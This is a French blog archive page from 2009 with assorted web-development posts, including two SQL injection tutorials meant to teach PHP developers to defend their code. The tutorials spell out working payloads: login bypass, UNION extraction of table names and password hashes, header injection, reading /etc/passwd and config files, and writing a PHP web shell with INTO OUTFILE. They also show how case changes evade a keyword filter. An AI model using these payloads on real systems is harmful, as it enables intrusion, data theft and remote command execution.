Jeudi le 10 décembre 2009 à 18:07

[VIDEO] : Python or PHP? that is the question!

Python ou PHP pour le développement WEB? humm, c’est une question à laquelle je peux pas répondre, c’est vrai ça fait quelques mois que je m’intéresse à python, particulièrement au framework django qui me parait super élégant en terme d’ergonomie et l’implémentation du pattern MVC OO, mais bon ce n’est pas notre sujet, j’y reviendrai dans un prochain billet peut être!

Je vous invites à voir cette vidéo trop marrante réalisée par Thibault Jouannic, j’espère que vous aimerai bien :D

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Mercredi le 9 décembre 2009 à 02:41

Manipuler les paramètres de configuration dans symfony

SymfonyDans symfony, tous les paramètres de configuration sont stockés dans des fichiers .yml (settings.yml, app.yml, module.yml, logging.yml, and i18n.yml), ceux-ci sont accessibles via une classe spéciale sfConfig, certains sont automatiquement utilisés dans le framework!
Lors du développement d’une application/module symfony, on peut définir des paramètres de configuration spécifiques à notre application, l’objectif de ce tutoriel est d’expliquer comment récupérer/modifier les valeurs de ces variables !

Exemple de fichier de configuration

On considère que le nom de l’application est frontend, et le fichier de configuration de l’application /apps/frontend/config/app.yml

all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15

Récupérer une valeur

echo sfConfig::get('app_categoryPages_maxPages'); // => 10
echo sfConfig::get('app_productPages_maxPages'); // => 5
echo sfConfig::get('app_generalMax'); // => 15

Symfony utilise le format YAML pour tous ses fichiers de configuration grâce à sa syntaxe simple et efficace, les données sont représentées par une combinaison de listes, tableaux (de hachage) et données scalaires.

L’accès à une variable se fait via la méthode get() de la classe sfConfig, il suffit d’indiquer le chemin permettant d’accéder à la variable, on respectant ces petites règles :

  • Le premier paramètre corrépond au nom d’un fichier de configuration sans le .yml (settings, app, module, logging, i18n..), ces fichiers se trouve dans le répertoire /apps/NOMAPPLICATION/config/
  • Il ne faut pas mentionner le « all » ou « default » dans la méthode sfConfig::get()
  • Séparez les paramètres par des « _ » en respectant arborescence selon le fichier .yml
  • Il est préférable de ne pas utilisé des « _ » dans le nom des paramètres pour éviter un éventuel conflit

Modifier la valeur d’un paramètre « on the fly »

La méthode set de la classe sfConfig permet la modification de la valeur d’un paramètre de configuration, cette modificationn’est pas permanente, et n’affecte pas le fichier de configuration concerné:
Exemple :

sfConfig::set('sf_timeout', 86400);

Modifier un paramètre dans le fichier yml

Par défaut, symfony ne gère pas l’écriture dans les fichiers de configuration, il n’y a donc pas de méthode save() dans la classe sfConfig, néanmoins il fourni d’autre méthodes permettant la réalisation de cette tache:

Exemple :

Modifier app_categoryPages_maxPages dans /apps/frontend/config/app.yml

all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15

Dans actions.class.php

$app_config_file = sfConfig::get('sf_app_config_dir')."/app.yml";
$config_values = sfYaml::load($app_config_file);
$config_values['all']['categoryPages']['imap_maxPages'] = 20; // à titre d'exemple
$content = sfYaml::dump($config_values);
file_put_contents($app_config_file, $content);

sfYaml::load() retourne un tableau associatif contenant les paramètres de configuration du fichier passé en paramètre, sfYaml::dump() permet de génerer le code YAML à partir d’un tableau sur-lequel on a effectué nos modifications. sans oublier que le chemin du fichier en question doit être inscriptible (+w) pour permettre l’écriture des nouveaux paramètres

Pourquoi symfony ne gère pas l’écriture dans les fichiers YML?

Je vous rassure, ce n’est pas un oubli ;) au début ça m’a fait un peu bizarre mais voilà pourquoi :

  • Dans symfony, les paramètres de configuration ne découlent pas d’un seul fichier mais de plusieurs fichiers yml (en cascade), on saura pas lequel des fichiers modifier
  • Sur un serveur de développement, tous les fichiers YAML sont version-nés, si ceux-ci sont édités, il y aura des conflits au moment de mettre à jour par le biais du SVN/GIT
  • Les fichiers YAML ne sont pas destinés à être modifiés dynamiquement surtout dans un projets collaboratif (sauf cas particulier)

Un grand merci à Charles, Jérôme et François qui m’ont éclairci les idées à ce sujet =)

Voilà, ce billet touche à sa fin, à très bientôt ;)

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Mardi le 24 novembre 2009 à 15:15

TuxGuitar, comment résoudre le problème de son

tux-guitar

Bonjour!
Après avoir acheté une guitare il y a quelques semaines, et comme je suis sous linux, j’ai installé TuxGuitar, une excellente alternative à Guitar Pro (qui est payant et dispo seulement sous wind0w$), tous s’est bien déroulé sauf que quand je j’essaie d’écouter les accordes , il n’y avait pas de son!! j’ai donc fait une petite recherche à droite et à gauche sur les forum avant de trouver la solution que je vous présente dans ce billet

Si vous rencontrez le même problème suivez ces instructions :

Installer le synthétiseur TiMidity

Tous les sons produits par tuxguitar sont au format MIDI et nécessite un synthétiseur il faut donc installer TiMidity pour la prise en charge du format, pour l’installer il suffit d’aller sur le menu « Application Ajouter/supprimer », chercher TiMidity et cocher la case Séquenceur MIDI TiMidity

Installer le synthétiseur TiMidity

Vérifier si les paquetages tuxguitar-alsa et tuxguitar-oss sont installés tuxguitar-jsa

Pour ce faire c’est simple :

apt-get install tuxguitar-alsa et tuxguitar-oss tuxguitar-jsa

attention il faut être en root pour executer la commande, si vous êtes sous ubuntu pensez à préceder la commande d’un « sudo »,

pour info: tuxguitar-jsa permet d’autoriser JAVA dans les paramètres audio

Configurer TuxGuitar

Et dans la dernière étape, ouvrez TuxGuitar => Outils => Paramètres => Son

  • dans Séquenceur Midi choisissez: Real Time sequencer
  • Dans Port Midi choisissez : Gervill

un OK, et testez le sons ;)

Configurer tuxguitar

Voilà je vous souhaite un Happy Playing!

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Lundi le 16 novembre 2009 à 01:24

[Tutoriel] – SQL Injection Avancée (Partie 2)

Advanced SQL Injection Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

  • Récupérer les noms des tables et des champs et injecter des données sensibles
  • Injecter un paramètre dans une entête HTTP
  • Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dit dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1–

Injection des noms de champs

Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–

SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables d’environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de rating, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (X_FORWARDED_FOR) avec la fonction suivante:

function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close

id=1&note=10

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

SELECT ip,titre FROM votes WHERE id = ‘1′ AND ip = ‘ ‘ union select user(),1111–’

Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :

Désolé root@localhost mais vous avez déjà voté pour l’article 1111

d’où root@localhost et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!

MYSQL et la permission FILE

Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;

Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!

profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–

Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--

profile.php?id=-1 UNION SELECT null,  '<?php system(\$_GET[cmd]) ?>' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « upload » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..

http://www.victime.ltd/uploads/shell.php?cmd=ls -l

Je vous laisse imaginer les conséquences que cela peut engendrer =)

SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Page : index.php?page=test

$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’

Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)

MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimale :

Profile.php?id=-1, load_file(0×2f6574632f706173737764)–

la chaine 0×2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)

les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–

un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)

Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

  • Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
  • Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
  • Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
  • Ne jamais donner les droits FILE aux utilisateurs mysql
  • Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
  • N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
  • Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Mardi le 3 novembre 2009 à 18:20

Mettez à jours vos anciennes versions de mootools!

logo_mootoolsSi vous êtes utilisateur de mootools, je vous invite à mettre à jour vos versions de Mootools et aussi Mootools More, Vos scripts risquent de ne pas marcher sur les prochaines version de Firefox 3.6!

Pourquoi?

En fait, pour savoir si le navigateur est basé sur le moteur Gecko, mootools effectuais un test en s’appuyant sur la méthode document.getBoxObjectFor, cette méthode sera retirée de Firefox à partir de la version 3.6 ! Et comme Firefox est basé sur Gecko, tous les sites utilisant une ancienne version de mootools peuvent avoir des problèmes de compatibilité avec les prochaines versions de Firefox >= 3.6!

La détection du moteur Gecko avec document.getBoxObjectFor est utilisé 2 fois dans mootools, les deux sont reliées à la gestion des évènements, la première affecte la méthode Event.relatedTarget qui est utilisée dans plusieurs parties du noyau et la deuxième affecte l’évènement mousewheel qui est utilisé dans la classe Fx.Scroll.

Mettez à jours vos sites!

Si vous avez des sites en production utilisant mootools pensez à les mettre à jour! A noter que tous les sites propulsés par Joomla! 1.5 sont affectés vu que cette dernière intègre mootools de façon native!

  • Pour les anciennes versions mootools 1.1* par ici
  • Et pour mootools 1.2.4 par ici

Happy Update ;)

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Lundi le 2 novembre 2009 à 00:17

mcherifi Blog passe à Page Rank 3

Bonjour!

Mes amis! j’ai le plaisir de vous annoncer que mon blog vient de passer à pagerank 3, tous cela gràce à vous! Un grand merci à tous ceux qui me lisent, à ceux qui me laissent des commentaires ainsi à tous les aboonées au flux RSS, un GRAND merci également à Abdelkader ELKALIDI pour ses backlinks=)

Je vous rappelle que je suis toujours ouvert à vos suggéstions et vos propositions, n’hésitez pas à me faire part de vos avis!

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Mardi le 27 octobre 2009 à 22:56

Être notifié au passage du robot google sur son site

Google BotLe référencement est parmi les grands soucis qu’un webmaster ou blogueur peuvent avoir, A chaque fois qu’on rajoute du contenu, la question qui se pose est : Quand est ce que le robot de Google passera pour l’indexer ? Aujourd’hui j’ai eu l’idée de partager une petite astuce pour être alerté au passage de Google sur votre site!

En fait pour indexer un site, google possède plusieurs robots (spider/crawler), ce sont des programmes qui tournent en boucle en parcourant le web et enregistrent tous les contenus qu’ils trouvent sur leurs chemin! Il en existe plusieurs :

  • GoogleBot : c’est le robot qui indexe les pages de contenu
  • Googlebot-Image: celui qui indexe les images (images.google.com)
  • AdsBot-Google: le robot de Google Adsense
  • Mediapartners-Google: sert à indexer les sites et à proposer la publicité en conséquence dans le cadre d’une partenaria (exemple lycos)

Il est possible de détecter le passage de l’un de ces robots sur son site, l’idée est de faire un test sur la variable global $_SERVER['UserAgent'], qui contient le nom du navigateur qui a effectué la requête HTTP!

Voici un bout de code pour envoyer un mail à chaque passage de GoogleBot sur votre site :

if(!empty($_SERVER['HTTP_USER_AGENT'])
{
  if(strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false)
  {
    $webmastermail = 'webmaster@domain.ltd';
    mail($webmastermail, 'Alerte Googlebot',"GoogleBot t'as rendu visite sur la page : " . $_SERVER['REQUEST_URI']);
   }
}

Et voilà, grâce à ce bout de code vous serai notifiés à chaque passage du robot Google sur votre site!

Parcontre ce n’est pas génial coté securité! Dans une requêtte HTTP l’entête HTTP_USER_AGENT est modifiable, du coup un utilisateur malveillant peut flooder votre boite mails avec un grand nombre de requêtes ayant UserAgent: Googlebot! La solution est de faire un lookup sur l’adresse IP envoyant la requête et résoudre le nom de domaine avec la fonction gethostbyaddr, si le nom de la machine ne correspond pas à *.googlebot.com pas d’envoi d’email ;)

if(!empty($_SERVER['HTTP_USER_AGENT'])
{
  if(strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false)
  {
    if(preg_match('#.*?\.googlebot\.com$#',gethostbyaddr($_SERVER['REMOTE_ADDR'])))
    {
      $webmastermail = 'webmaster@domain.ltd';
      mail($webmastermail, 'Alerte Googlebot',"GoogleBot t'as rendu visite sur la page : " . $_SERVER['REQUEST_URI']);
    }
    else
    {
     // on peux bannir l'adresse en la rajoutant au fichier .htaccess
    /* if(is_writable('.htaccess'))
     {
       $h = fopen('.htaccess','a+');
       fwrite($h,"\nDeny from: ".$_SERVER['REMOTE_ADDR']);
       fclose($h);
      }
    */
    }
  }
}

A savoir que bannir l’utilisateur si le hostname ne correspond pas n’est pas une très bonne idée vu que google peut changer de domaine (*.googlebot.com), par contre ça vous évitera de recevoir un joli paquet d’emails, j’ai commenté cette partie du code pour éviter de bannir google si jamais *.googlebot.com change ;)

J’espère que cet astuce vous sera utile!

Bonne nuit!

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Mardi le 27 octobre 2009 à 01:36

[Tutoriel] SQL Injection – Les classiques (partie1)

sql_imgHello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

  • Les injections SQL basiques
  • SQL Injection avancée
  • Blind SQL Injection

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

  • Bypasser une authentification
  • Lire des données sensibles depuis les tables mySQL
  • Injecter le nom et le schéma de la base de données
  • Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

mysql_connect("localhost","root","");
mysql_select_db("test");
$user_id = $_GET['id'];
$sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
if(mysql_num_rows($sql) > 0)
{
$data = mysql_fetch_object($sql);
echo "
<fieldset>
<legend>Profile de ".$data->username."</legend>
<p>Nom d'utilisateur : ".$data->username."</p>
<p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p>
<p>Adresse email : ".$data->email."</p>
</fieldset>";
}

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui est l’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

  • profile.php?id=1 order by 1 [OK]
  • profile.php?id=2 order by 2 [OK]
  • profile.php?id=3 order by 3 [OK]
  • profile.php?id=4 order by 4 [OK]
  • proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

$user_id = intval($_GET['id']);

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
